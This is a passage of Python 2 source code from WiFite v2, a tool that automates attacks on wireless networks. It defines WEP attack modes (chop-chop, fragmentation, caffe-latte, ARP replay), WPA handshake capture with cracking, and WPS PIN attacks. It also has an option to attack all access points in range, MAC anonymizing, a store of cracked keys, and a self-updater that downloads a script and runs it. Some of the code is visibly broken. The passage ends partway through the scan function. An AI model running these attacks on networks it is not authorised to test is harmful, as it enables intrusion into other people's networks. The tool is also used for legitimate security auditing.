WEP_PPS = 600 # packets per second (Tx rate)
WEP_TIMEOUT = 600 # Amount of time to give each attack
WEP_ARP_REPLAY = True # Various WEP-based attacks via aireplay-ng
WEP_CHOPCHOP = True #
WEP_FRAGMENT = True #
WEP_CAFFELATTE = True #
WEP_P0841 = True
WEP_HIRTE = True
WEP_CRACK_AT_IVS = 10000 # Number of IVS at which we start cracking
WEP_IGNORE_FAKEAUTH = True # When True, continues attack despite fake authentication failure
WEP_FINDINGS = [] # List of strings containing info on successful WEP attacks.
WEP_SAVE = False # Save packets.
# WPS variables
WPS_DISABLE = False # Flag to skip WPS scan and attacks
WPS_FINDINGS = [] # List of (successful) results of WPS attacks
WPS_TIMEOUT = 660 # Time to wait (in seconds) for successful PIN attempt
WPS_RATIO_THRESHOLD = 0.01 # Lowest percentage of tries/attempts allowed (where tries > 0)
WPS_MAX_RETRIES = 0 # Number of times to re-try the same pin before giving up completely.
# Program variables
WIRELESS_IFACE = '' # User-defined interface
TARGET_CHANNEL = 0 # User-defined channel to scan on
TARGET_ESSID = '' # User-defined ESSID of specific target to attack
TARGET_BSSID = '' # User-defined BSSID of specific target to attack
IFACE_TO_TAKE_DOWN = '' # Interface that wifite puts into monitor mode
# It's our job to put it out of monitor mode after the attacks
ORIGINAL_IFACE_MAC = ('', '') # Original interface name[0] and MAC address[1] (before spoofing)
DO_NOT_CHANGE_MAC = True # Flag for disabling MAC anonymizer
TARGETS_REMAINING = 0 # Number of access points remaining to attack
WPA_CAPS_TO_CRACK = [] # list of .cap files to crack (full of CapFile objects)
THIS_MAC = '' # The interfaces current MAC address.
SHOW_MAC_IN_SCAN = False # Display MACs of the SSIDs in the list of targets
CRACKED_TARGETS = [] # List of targets we have already cracked
ATTACK_ALL_TARGETS = False # Flag for when we want to attack *everyone*
ATTACK_MIN_POWER = 0 # Minimum power (dB) for access point to be considered a target
VERBOSE_APS = True # Print access points as they appear
# Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
if os.getuid() != 0:
print R+' [!]'+O+' ERROR:'+G+' wifite'+O+' must be run as '+R+'root'+W
print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./wifite.py'+W
exit(1)
if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]: # OSX support, 'cause why not?
print O+' [!]'+R+' WARNING:'+G+' wifite'+W+' must be run on '+O+'linux'+W
exit(1)
# Create temporary directory to work in
from tempfile import mkdtemp
temp = mkdtemp(prefix='wifite')
if not temp.endswith(os.sep):
temp += os.sep
# /dev/null, send output from programs so they don't print to screen.
DN = open(os.devnull, 'w')
###################
# DATA STRUCTURES #
###################
class CapFile:
"""
Holds data about an access point's .cap file, including AP's ESSID & BSSID.
"""
def __init__(self, filename, ssid, bssid):
self.filename = filename
self.ssid = ssid
self.bssid = bssid
class Target:
"""
Holds data for a Target (aka Access Point aka Router)
"""
def __init__(self, bssid, power, data, channel, encryption, ssid):
self.bssid = bssid
self.power = power
self.data = data
self.channel = channel
self.encryption = encryption
self.ssid = ssid
self.wps = False # Default to non-WPS-enabled router.
self.key = ''
class Client:
"""
Holds data for a Client (device connected to Access Point/Router)
"""
def __init__(self, bssid, station, power):
self.bssid = bssid
self.station = station
self.power = power
##################
# MAIN FUNCTIONS #
##################
def main():
"""
Where the magic happens.
"""
global TARGETS_REMAINING, THIS_MAC, CRACKED_TARGETS
CRACKED_TARGETS = load_cracked() # Load previously-cracked APs from file
handle_args() # Parse args from command line, set global variables.
initial_check() # Ensure required programs are installed.
# The "get_iface" method anonymizes the MAC address (if needed)
# and puts the interface into monitor mode.
iface = get_iface()
THIS_MAC = get_mac_address(iface) # Store current MAC address
(targets, clients) = scan(iface=iface, channel=TARGET_CHANNEL)
try:
index = 0
while index < len(targets):
target = targets[index]
# Check if we have already cracked this target
for already in CRACKED_TARGETS:
if already.bssid == targets[index].bssid:
print R+'\n [!]'+O+' you have already cracked this access point\'s key!'+W
print R+' [!] %s' % (C+already.ssid+W+': "'+G+already.key+W+'"')
ri = raw_input(GR+' [+] '+W+'do you want to crack this access point again? ('+G+'y/'+O+'n'+W+'): ')
if ri.lower() == 'n':
targets.pop(index)
index -= 1
break
# Check if handshakes already exist, ask user whether to skip targets or save new handshakes
handshake_file = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
+ '_' + target.bssid.replace(':', '-') + '.cap'
if os.path.exists(handshake_file):
print R+'\n [!] '+O+'you already have a handshake file for %s:' % (C+target.ssid+W)
print ' %s\n' % (G+handshake_file+W)
print GR+' [+]'+W+' do you want to '+G+'[s]kip'+W+', '+O+'[c]apture again'+W+', or '+R+'[o]verwrite'+W+'?'
ri = 'x'
while ri != 's' and ri != 'c' and ri != 'o':
ri = raw_input(GR+' [+] '+W+'enter '+G+'s'+W+', '+O+'c,'+W+' or '+R+'o'+W+': '+G).lower()
print W+"\b",
if ri == 's':
targets.pop(index)
index -= 1
elif ri == 'o':
remove_file(handshake_file)
continue
index += 1
except KeyboardInterrupt:
print '\n '+R+'(^C)'+O+' interrupted\n'
exit_gracefully(0)
wpa_success = 0
wep_success = 0
wpa_total = 0
wep_total = 0
TARGETS_REMAINING = len(targets)
for t in targets:
TARGETS_REMAINING -= 1
# Build list of clients connected to target
ts_clients = []
for c in clients:
if c.station == t.bssid:
ts_clients.append(c)
print ''
if t.encryption.find('WPA') != -1:
need_handshake = True
if not WPS_DISABLE and t.wps:
need_handshake = not wps_attack(iface, t)
wpa_total += 1
if not need_handshake: wpa_success += 1
if TARGETS_REMAINING < 0: break
if not WPA_DISABLE and need_handshake:
wpa_total += 1
if wpa_get_handshake(iface, t, ts_clients):
wpa_success += 1
elif t.encryption.find('WEP') != -1:
wep_total += 1
if attack_wep(iface, t, ts_clients):
wep_success += 1
else: print R+' unknown encryption:',t.encryption,W
# If user wants to stop attacking
if TARGETS_REMAINING <= 0: break
if wpa_total + wep_total > 0:
# Attacks are done! Show results to user
print ''
print GR+' [+] %s%d attack%s completed:%s' % (G, wpa_total + wep_total, '' if wpa_total+wep_total == 1 else 's', W)
print ''
if wpa_total > 0:
if wpa_success == 0: print GR+' [+]'+R,
elif wpa_success == wpa_total: print GR+' [+]'+G,
else: print GR+' [+]'+O,
print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
for finding in WPA_FINDINGS:
print ' ' + C+finding+W
if wep_total > 0:
if wep_success == 0: print GR+' [+]'+R,
elif wep_success == wep_total: print GR+' [+]'+G,
else: print GR+' [+]'+O,
print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
for finding in WEP_FINDINGS:
print ' ' + C+finding+W
caps = len(WPA_CAPS_TO_CRACK)
if caps > 0 and not WPA_DONT_CRACK:
print GR+' [+]'+W+' starting '+G+'WPA cracker'+W+' on %s%d handshake%s' % (G, caps, W if caps == 1 else 's'+W)
for cap in WPA_CAPS_TO_CRACK:
wpa_crack(cap)
print ''
exit_gracefully(0)
def rename(old, new):
"""
Renames file 'old' to 'new', works with separate partitions.
Thanks to hannan.sadar
"""
try:
os.rename(old, new)
except os.error, detail:
if detail.errno == errno.EXDEV:
try:
copy(old, new)
except:
os.unlink(new)
raise
os.unlink(old)
# if desired, deal with other errors
else:
raise
def initial_check():
"""
Ensures required programs are installed.
"""
global WPS_DISABLE
airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
for air in airs:
if program_exists(air): continue
print R+' [!]'+O+' required program not found: %s' % (R+air+W)
print R+' [!]'+O+' this program is bundled with the aircrack-ng suite:'+W
print R+' [!]'+O+' '+C+'http://www.aircrack-ng.org/'+W
print R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+W
exit_gracefully(1)
if not program_exists('iw'):
print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W)
exit_gracefully(1)
printed = False
# Check reaver
if not program_exists('reaver'):
printed = True
print R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS attacks'+W
print R+' '+O+' available at '+C+'http://code.google.com/p/reaver-wps'+W
WPS_DISABLE = True
elif not program_exists('walsh') and not program_exists('wash'):
printed = True
print R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or '+R+'wash'+O+') was not found'+W
print R+' [!]'+O+' please re-install reaver or install walsh/wash separately'+W
# Check handshake-checking apps
recs = ['tshark', 'pyrit', 'cowpatty']
for rec in recs:
if program_exists(rec): continue
printed = True
print R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W)
if printed: print ''
def handle_args():
"""
Handles command-line arguments, sets global variables.
"""
global WIRELESS_IFACE, TARGET_CHANNEL, DO_NOT_CHANGE_MAC, TARGET_ESSID, TARGET_BSSID
global WPA_DISABLE, WPA_STRIP_HANDSHAKE, WPA_DEAUTH_TIMEOUT, WPA_ATTACK_TIMEOUT
global WPA_DONT_CRACK, WPA_DICTIONARY, WPA_HANDSHAKE_TSHARK, WPA_HANDSHAKE_PYRIT
global WPA_HANDSHAKE_AIRCRACK, WPA_HANDSHAKE_COWPATTY
global WEP_DISABLE, WEP_PPS, WEP_TIMEOUT, WEP_ARP_REPLAY, WEP_CHOPCHOP, WEP_FRAGMENT
global WEP_CAFFELATTE, WEP_P0841, WEP_HIRTE, WEP_CRACK_AT_IVS, WEP_IGNORE_FAKEAUTH
global WEP_SAVE, SHOW_MAC_IN_SCAN, ATTACK_ALL_TARGETS, ATTACK_MIN_POWER
global WPS_DISABLE, WPS_TIMEOUT, WPS_RATIO_THRESHOLD, WPS_MAX_RETRIES
global VERBOSE_APS
args = argv[1:]
if args.count('-h') + args.count('--help') + args.count('?') + args.count('-help') > 0:
help()
exit_gracefully(0)
set_encrypt = False
set_hscheck = False
set_wep = False
capfile = '' # Filename of .cap file to analyze for handshakes
try:
for i in xrange(0, len(args)):
if not set_encrypt and (args[i] == '-wpa' or args[i] == '-wep' or args[i] == '-wps'):
WPS_DISABLE = True
WPA_DISABLE = True
WEP_DISABLE = True
set_encrypt = True
if args[i] == '-wpa':
print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks (use '+G+'-wps'+W+' for WPS scan)'
WPA_DISABLE = False
elif args[i] == '-wep':
print GR+' [+]'+W+' targeting '+G+'WEP'+W+' encrypted networks'
WEP_DISABLE = False
elif args[i] == '-wps':
print GR+' [+]'+W+' targeting '+G+'WPS-enabled'+W+' networks'
WPS_DISABLE = False
elif args[i] == '-c':
i += 1
try: TARGET_CHANNEL = int(args[i])
except ValueError: print O+' [!]'+R+' invalid channel: '+O+args[i]+W
except IndexError: print O+' [!]'+R+' no channel given!'+W
else: print GR+' [+]'+W+' channel set to %s' % (G+args[i]+W)
elif args[i] == '-mac':
print GR+' [+]'+W+' mac address anonymizing '+G+'enabled'+W
print O+' note: only works if device is not already in monitor mode!'+W
DO_NOT_CHANGE_MAC = False
elif args[i] == '-i':
i += 1
WIRELESS_IFACE = args[i]
print GR+' [+]'+W+' set interface: %s' % (G+args[i]+W)
elif args[i] == '-e':
i += 1
try: TARGET_ESSID = args[i]
except ValueError: print R+' [!]'+O+' no ESSID given!'+W
else: print GR+' [+]'+W+' targeting ESSID "%s"' % (G+args[i]+W)
elif args[i] == '-b':
i += 1
try: TARGET_BSSID = args[i]
except ValueError: print R+' [!]'+O+' no BSSID given!'+W
else: print GR+' [+]'+W+' targeting BSSID "%s"' % (G+args[i]+W)
elif args[i] == '-showb' or args[i] == '-showbssid':
SHOW_MAC_IN_SCAN = True
print GR+' [+]'+W+' target MAC address viewing '+G+'enabled'+W
elif args[i] == '-all' or args[i] == '-hax0ritna0':
print GR+' [+]'+W+' targeting '+G+'all access points'+W
ATTACK_ALL_TARGETS = True
elif args[i] == '-pow' or args[i] == '-power':
i += 1
try:
ATTACK_MIN_POWER = int(args[i])
except ValueError: print R+' [!]'+O+' invalid power level: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no power level given!'+W
else: print GR+' [+]'+W+' minimum target power set to %s' % (G+args[i] + "dB"+W)
elif args[i] == '-q' or args[i] == '-quiet':
VERBOSE_APS = False
print GR+' [+]'+W+' list of APs during scan '+O+'disabled'+W
elif args[i] == '-check':
i += 1
try: capfile = args[i]
except IndexError:
print R+' [!]'+O+' unable to analyze capture file'+W
print R+' [!]'+O+' no cap file given!\n'+W
exit_gracefully(1)
else:
if not os.path.exists(capfile):
print R+' [!]'+O+' unable to analyze capture file!'+W
print R+' [!]'+O+' file not found: '+R+capfile+'\n'+W
exit_gracefully(1)
elif args[i] == '-upgrade' or args[i] == '-update':
upgrade()
exit(0)
elif args[i] == '-cracked':
if len(CRACKED_TARGETS) == 0:
print R+' [!]'+O+' there are not cracked access points saved to '+R+'cracked.txt\n'+W
exit_gracefully(1)
print GR+' [+]'+W+' '+W+'previously cracked access points'+W+':'
for victim in CRACKED_TARGETS:
print ' %s (%s) : "%s"' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W)
print ''
exit_gracefully(0)
# WPA
if not set_hscheck and (args[i] == '-tshark' or args[i] == '-cowpatty' or args[i] == '-aircrack' or args[i] == 'pyrit'):
WPA_HANDSHAKE_TSHARK = False
WPA_HANDSHAKE_PYRIT = False
WPA_HANDSHAKE_COWPATTY = False
WPA_HANDSHAKE_AIRCRACK = False
set_hscheck = True
elif args[i] == '-strip':
WPA_STRIP_HANDSHAKE = True
print GR+' [+]'+W+' handshake stripping '+G+'enabled'+W
elif args[i] == '-wpadt':
i += 1
WPA_DEAUTH_TIMEOUT = int(args[i])
print GR+' [+]'+W+' WPA deauth timeout set to %s' % (G+args[i]+' seconds'+W)
elif args[i] == '-wpat':
i += 1
WPA_ATTACK_TIMEOUT = int(args[i])
print GR+' [+]'+W+' WPA attack timeout set to %s' % (G+args[i]+' seconds'+W)
elif args[i] == '-crack':
WPA_DONT_CRACK = False
print GR+' [+]'+W+' WPA cracking '+G+'enabled'+W
elif args[i] == '-dict':
i += 1
try:
WPA_DICTIONARY = args[i]
except IndexError: print R+' [!]'+O+' no WPA dictionary given!'
else:
if os.path.exists(args[i]):
print GR+' [+]'+W+' WPA dictionary set to %s' % (G+args[i]+W)
else:
print R+' [!]'+O+' WPA dictionary file not found: %s' % (args[i])
if args[i] == '-tshark':
WPA_HANDSHAKE_TSHARK = True
print GR+' [+]'+W+' tshark handshake verification '+G+'enabled'+W
if args[i] == '-pyrit':
WPA_HANDSHAKE_PYRIT = True
print GR+' [+]'+W+' pyrit handshake verification '+G+'enabled'+W
if args[i] == '-aircrack':
WPA_HANDSHAKE_AIRCRACK = True
print GR+' [+]'+W+' aircrack handshake verification '+G+'enabled'+W
if args[i] == '-cowpatty':
WPA_HANDSHAKE_COWPATTY = True
print GR+' [+]'+W+' cowpatty handshake verification '+G+'enabled'+W
# WEP
if not set_wep and args[i] == '-chopchop' or args[i] == 'fragment' or \
args[i] == 'caffelatte' or args[i] == '-arpreplay' or \
args[i] == '-p0841' or args[i] == '-hirte':
WEP_CHOPCHOP = False
WEP_ARPREPLAY = False
WEP_CAFFELATTE = False
WEP_FRAGMENT = False
WEP_P0841 = False
WEP_HIRTE = False
if args[i] == '-chopchop':
print GR+' [+]'+W+' WEP chop-chop attack '+G+'enabled'+W
WEP_CHOPCHOP = True
if args[i] == '-fragment' or args[i] == '-frag' or args[i] == '-fragmentation':
print GR+' [+]'+W+' WEP fragmentation attack '+G+'enabled'+W
WEP_FRAGMENT = True
if args[i] == '-caffelatte':
print GR+' [+]'+W+' WEP caffe-latte attack '+G+'enabled'+W
WEP_CAFFELATTE = True
if args[i] == '-arpreplay':
print GR+' [+]'+W+' WEP arp-replay attack '+G+'enabled'+W
WEP_ARPREPLAY = True
if args[i] == '-p0841':
print GR+' [+]'+W+' WEP p0841 attack '+G+'enabled'+W
WEP_P0841 = True
if args[i] == '-hirte':
print GR+' [+]'+W+' WEP hirte attack '+G+'enabled'+W
WEP_HIRTE = True
if args[i] == '-nofake':
print GR+' [+]'+W+' ignoring failed fake-authentication '+R+'disabled'+W
WEP_IGNORE_FAKEAUTH = False
if args[i] == '-wept' or args[i] == '-weptime':
i += 1
try:
WEP_TIMEOUT = int(args[i])
except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no timeout given!'+W
else: print GR+' [+]'+W+' WEP attack timeout set to %s' % (G+args[i] + " seconds"+W)
if args[i] == '-pps':
i += 1
try:
WEP_PPS = int(args[i])
except ValueError: print R+' [!]'+O+' invalid value: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no value given!'+W
else: print GR+' [+]'+W+' packets-per-second rate set to %s' % (G+args[i] + " packets/sec"+W)
if args[i] == '-save' or args[i] == '-wepsave':
WEP_SAVE = True
print GR+' [+]'+W+' WEP .cap file saving '+G+'enabled'+W
# WPS
if args[i] == '-wpst' or args[i] == '-wpstime':
i += 1
try:
WPS_TIMEOUT = int(args[i])
except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no timeout given!'+W
else: print GR+' [+]'+W+' WPS attack timeout set to %s' % (G+args[i] + " seconds"+W)
if args[i] == '-wpsratio' or args[i] == 'wpsr':
i += 1
try:
WPS_RATIO_THRESHOLD = float(args[i])
except ValueError: print R+' [!]'+O+' invalid percentage: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no ratio given!'+W
else: print GR+' [+]'+W+' minimum WPS tries/attempts threshold set to %s' % (G+args[i] + ""+W)
if args[i] == '-wpsmaxr' or args[i] == '-wpsretry':
i += 1
try:
WPS_MAX_RETRIES = int(args[i])
except ValueError: print R+' [!]'+O+' invalid number: %s' % (R+args[i]+W)
except IndexError: print R+' [!]'+O+' no number given!'+W
else: print GR+' [+]'+W+' WPS maximum retries set to %s' % (G+args[i] + " retries"+W)
except IndexError:
print '\nindexerror\n\n'
if capfile != '':
analyze_capfile(capfile)
print ''
def banner():
"""
Displays ASCII art of the highest caliber.
"""
global REVISION
print ''
print G+" .;' `;, "
print G+" .;' ,;' `;, `;, "+W+"WiFite v2 (r" + str(REVISION) + ")"
print G+".;' ,;' ,;' `;, `;, `;, "
print G+":: :: : "+GR+"( )"+G+" : :: :: "+GR+"automated wireless auditor"
print G+"':. ':. ':. "+GR+"/_\\"+G+" ,:' ,:' ,:' "
print G+" ':. ':. "+GR+"/___\\"+G+" ,:' ,:' "+GR+"designed for Linux"
print G+" ':. "+GR+"/_____\\"+G+" ,:' "
print G+" "+GR+"/ \\"+G+" "
print W
def upgrade():
"""
Checks for new version, prompts to upgrade, then
replaces this script with the latest from the repo
"""
global REVISION
try:
print GR+' [!]'+W+' upgrading requires an '+G+'internet connection'+W
print GR+' [+]'+W+' checking for latest version...'
(revision, description, date_changed) = get_revision()
if revision == -1:
print R+' [!]'+O+' unable to access googlecode'+W
elif revision > REVISION:
print GR+' [!]'+W+' a new version is '+G+'available!'+W
print GR+' [-]'+W+' revision: '+G+str(revision)+W
print GR+' [-]'+W+' description: '+G+description+W
print GR+' [-]'+W+' date added: '+G+date_changed+W
response = raw_input(GR+' [+]'+W+' do you want to upgrade to the latest version? (y/n): ')
if not response.lower().startswith('y'):
print GR+' [-]'+W+' upgrading '+O+'aborted'+W
exit_gracefully(0)
return
# Download script, replace with this one
print GR+' [+] '+G+'downloading'+W+' update...'
try:
sock = urllib.urlopen('http://wifite.googlecode.com/svn/trunk/wifite.py')
page = sock.read()
except IOError:
page = ''
if page == '':
print R+' [+] '+O+'unable to download latest version'+W
exit_gracefully(1)
# Create/save the new script
f=open('wifite_new.py','w')
f.write(page)
f.close()
# The filename of the running script
this_file = __file__
if this_file.startswith('./'):
this_file = this_file[2:]
# create/save a shell script that replaces this script with the new one
f = open('update_wifite.sh','w')
f.write('''#!/bin/sh\n
rm -rf ''' + this_file + '''\n
mv wifite_new.py ''' + this_file + '''\n
rm -rf update_wifite.sh\n
chmod +x ''' + this_file + '''\n
''')
f.close()
# Change permissions on the script
returncode = call(['chmod','+x','update_wifite.sh'])
if returncode != 0:
print R+' [!]'+O+' permission change returned unexpected code: '+str(returncode)+W
exit_gracefully(1)
# Run the script
returncode = call(['sh','update_wifite.sh'])
if returncode != 0:
print R+' [!]'+O+' upgrade script returned unexpected code: '+str(returncode)+W
exit_gracefully(1)
print GR+' [+] '+G+'updated!'+W+' type "./' + this_file + '" to run again'
else:
print GR+' [-]'+W+' your copy of wifite is '+G+'up to date'+W
except KeyboardInterrupt:
print R+'\n (^C)'+O+' wifite upgrade interrupted'+W
exit_gracefully(0)
def get_revision():
"""
Gets latest revision # from google code repository
Returns tuple: revision#, description of change, date changed
"""
irev =-1
desc =''
since=''
try:
sock = urllib.urlopen('http://code.google.com/p/wifite/source/list?path=/trunk/wifite.py')
page = sock.read()
except IOError:
return (-1, '', '')
# get the revision
start= page.find('href="detail?r=')
stop = page.find('&', start)
if start != -1 and stop != -1:
start += 15
rev=page[start:stop]
try:
irev=int(rev)
except ValueError:
rev=rev.split('\n')[0]
print R+'[+] invalid revision number: "'+rev+'"'
# get the description
start= page.find(' href="detail?r='+str(irev)+'', start + 3)
start= page.find('">',start)
stop = page.find('</a>', start)
if start != -1 and stop != -1:
start += 2
desc=page[start:stop].strip()
desc=desc.replace("'","'")
desc=desc.replace("<","<")
desc=desc.replace(">",">")
if '\n' in desc:
desc = desc.split('\n')[0]
# get the time last modified
start= page.find(' href="detail?r='+str(irev)+'', start + 3)
start= page.find('">',start)
stop = page.find('</a>', start)
if start != -1 and stop != -1:
start += 2
since=page[start:stop]
return (irev, desc, since)
def help():
"""
Prints help screen
"""
head = W
sw = G
var = GR
des = W
de = G
print head+' COMMANDS'+W
print sw+'\t-check '+var+'<file>\t'+des+'check capfile '+var+'<file>'+des+' for handshakes.'+W
print sw+'\t-cracked \t'+des+'display previously-cracked access points'+W
print ''
print head+' GLOBAL'+W
print sw+'\t-all \t'+des+'attack all targets. '+de+'[off]'+W
print sw+'\t-i '+var+'<iface> \t'+des+'wireless interface for capturing '+de+'[auto]'+W
print sw+'\t-mac \t'+des+'anonymize mac address '+de+'[off]'+W
print sw+'\t-c '+var+'<channel>\t'+des+'channel to scan for targets '+de+'[auto]'+W
print sw+'\t-e '+var+'<essid> \t'+des+'target a specific access point by ssid (name) '+de+'[ask]'+W
print sw+'\t-b '+var+'<bssid> \t'+des+'target a specific access point by bssid (mac) '+de+'[auto]'+W
print sw+'\t-showb \t'+des+'display target BSSIDs after scan '+de+'[off]'+W
print sw+'\t-pow '+var+'<db> \t'+des+'attacks any targets with signal strenghth > '+var+'db '+de+'[0]'+W
print sw+'\t-quiet \t'+des+'do not print list of APs during scan '+de+'[off]'+W
print ''
print head+'\n WPA'+W
print sw+'\t-wpa \t'+des+'only target WPA networks (works with -wps -wep) '+de+'[off]'+W
print sw+'\t-wpat '+var+'<sec> \t'+des+'time to wait for WPA attack to complete (seconds) '+de+'[500]'+W
print sw+'\t-wpadt '+var+'<sec> \t'+des+'time to wait between sending deauth packets (sec) '+de+'[10]'+W
print sw+'\t-strip \t'+des+'strip handshake using tshark or pyrit '+de+'[off]'+W
print sw+'\t-crack '+var+'<dic>\t'+des+'crack WPA handshakes using '+var+'<dic>'+des+' wordlist file '+de+'[off]'+W
print sw+'\t-dict '+var+'<file>\t'+des+'specify dictionary to use when cracking WPA '+de+'[phpbb.txt]'+W
print sw+'\t-aircrack \t'+des+'verify handshake using aircrack '+de+'[on]'+W
print sw+'\t-pyrit \t'+des+'verify handshake using pyrit '+de+'[off]'+W
print sw+'\t-tshark \t'+des+'verify handshake using tshark '+de+'[on]'+W
print sw+'\t-cowpatty \t'+des+'verify handshake using cowpatty '+de+'[off]'+W
print head+'\n WEP'+W
print sw+'\t-wep \t'+des+'only target WEP networks '+de+'[off]'+W
print sw+'\t-pps '+var+'<num> \t'+des+'set the number of packets per second to inject '+de+'[600]'+W
print sw+'\t-wept '+var+'<sec> \t'+des+'sec to wait for each attack, 0 implies endless '+de+'[600]'+W
print sw+'\t-chopchop \t'+des+'use chopchop attack '+de+'[on]'+W
print sw+'\t-arpreplay \t'+des+'use arpreplay attack '+de+'[on]'+W
print sw+'\t-fragment \t'+des+'use fragmentation attack '+de+'[on]'+W
print sw+'\t-caffelatte \t'+des+'use caffe-latte attack '+de+'[on]'+W
print sw+'\t-p0841 \t'+des+'use -p0841 attack '+de+'[on]'+W
print sw+'\t-hirte \t'+des+'use hirte (cfrag) attack '+de+'[on]'+W
print sw+'\t-nofakeauth \t'+des+'stop attack if fake authentication fails '+de+'[off]'+W
print sw+'\t-wepca '+GR+'<n> \t'+des+'start cracking when number of ivs surpass n '+de+'[10000]'+W
print sw+'\t-wepsave \t'+des+'save a copy of .cap files to this directory '+de+'[off]'+W
print head+'\n WPS'+W
print sw+'\t-wps \t'+des+'only target WPS networks '+de+'[off]'+W
print sw+'\t-wpst '+var+'<sec> \t'+des+'max wait for new retry before giving up (0: never) '+de+'[660]'+W
print sw+'\t-wpsratio '+var+'<per>\t'+des+'min ratio of successful PIN attempts/total tries '+de+'[0]'+W
print sw+'\t-wpsretry '+var+'<num>\t'+des+'max number of retries for same PIN before giving up '+de+'[0]'+W
print head+'\n EXAMPLE'+W
print sw+'\t./wifite.py '+W+'-wps -wep -c 6 -pps 600'+W
print ''
###########################
# WIRELESS CARD FUNCTIONS #
###########################
def enable_monitor_mode(iface):
"""
Uses airmon-ng to put a device into Monitor Mode.
Then uses the get_iface() method to retrieve the new interface's name.
Sets global variable IFACE_TO_TAKE_DOWN as well.
Returns the name of the interface in monitor mode.
"""
global IFACE_TO_TAKE_DOWN
print GR+' [+]'+W+' enabling monitor mode on %s...' % (G+iface+W),
stdout.flush()
call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
print 'done'
IFACE_TO_TAKE_DOWN = get_iface()
return IFACE_TO_TAKE_DOWN
def disable_monitor_mode():
"""
The program may have enabled monitor mode on a wireless interface.
We want to disable this before we exit, so we will do that.
"""
if IFACE_TO_TAKE_DOWN == '': return
print GR+' [+]'+W+' disabling monitor mode on %s...' % (G+IFACE_TO_TAKE_DOWN+W),
stdout.flush()
call(['airmon-ng', 'stop', IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
print 'done'
PRINTED_SCANNING = False
def get_iface():
"""
Get the wireless interface in monitor mode.
Defaults to only device in monitor mode if found.
Otherwise, enumerates list of possible wifi devices
and asks user to select one to put into monitor mode (if multiple).
Uses airmon-ng to put device in monitor mode if needed.
Returns the name (string) of the interface chosen in monitor mode.
"""
global PRINTED_SCANNING
if not PRINTED_SCANNING:
print GR+' [+]'+W+' scanning for wireless devices...'
PRINTED_SCANNING = True
proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
iface = ''
monitors = []
for line in proc.communicate()[0].split('\n'):
if len(line) == 0: continue
if ord(line[0]) != 32: # Doesn't start with space
iface = line[:line.find(' ')] # is the interface
if line.find('Mode:Monitor') != -1:
monitors.append(iface)
if WIRELESS_IFACE != '':
if monitors.count(WIRELESS_IFACE): return WIRELESS_IFACE
print R+' [!]'+O+' could not find wireless interface %s' % ('"'+R+WIRELESS_IFACE+O+'"'+W)
if len(monitors) == 1:
return monitors[0] # Default to only device in monitor mode
elif len(monitors) > 1:
print GR+" [+]"+W+" interfaces in "+G+"monitor mode:"+W
for i, monitor in enumerate(monitors):
print " %s. %s" % (G+str(i+1)+W, G+monitor+W)
ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
(GR, W, G, W, G, len(monitors), W, G))
while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
(GR, W, G, len(monitors), W, G))
i = int(ri)
return monitors[i - 1]
proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
for line in proc.communicate()[0].split('\n'):
if len(line) == 0 or line.startswith('Interface'): continue
#monitors.append(line[:line.find('\t')])
monitors.append(line)
if len(monitors) == 0:
print R+' [!]'+O+" no wireless interfaces were found."+W
print R+' [!]'+O+" you need to plug in a wifi device or install drivers.\n"+W
exit_gracefully(0)
elif WIRELESS_IFACE != '' and monitors.count(WIRELESS_IFACE) > 0:
mac_anonymize(monitor)
return enable_monitor-mode
elif len(monitors) == 1:
monitor = monitors[0][:monitors[0].find('\t')]
mac_anonymize(monitor)
return enable_monitor_mode(monitor)
print GR+" [+]"+W+" available wireless devices:"
for i, monitor in enumerate(monitors):
print " %s%d%s. %s" % (G, i + 1, W, monitor)
ri = raw_input(GR+" [+]"+W+" select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
i = int(ri)
monitor = monitors[i-1][:monitors[i-1].find('\t')]
mac_anonymize(monitor)
return enable_monitor_mode(monitor)
######################
# SCANNING FUNCTIONS #
######################
def scan(channel=0, iface='', tried_rtl8187_fix=False):
"""
Scans for access points. Asks user to select target(s).
"channel" - the channel to scan on, 0 scans all channels.
"iface" - the interface to scan on. must be a real interface.
"tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
Returns list of selected targets and list of clients.
"""
remove_airodump_files(temp + 'wifite')
command = ['airodump-ng',
'-a', # only show associated clients
'-w', temp + 'wifite'] # output file
if channel != 0:
command.append('-c')
command.append(str(channel))
command.append(iface)
proc = Popen(command, stdout=DN, stderr=DN)
time_started = time.time()
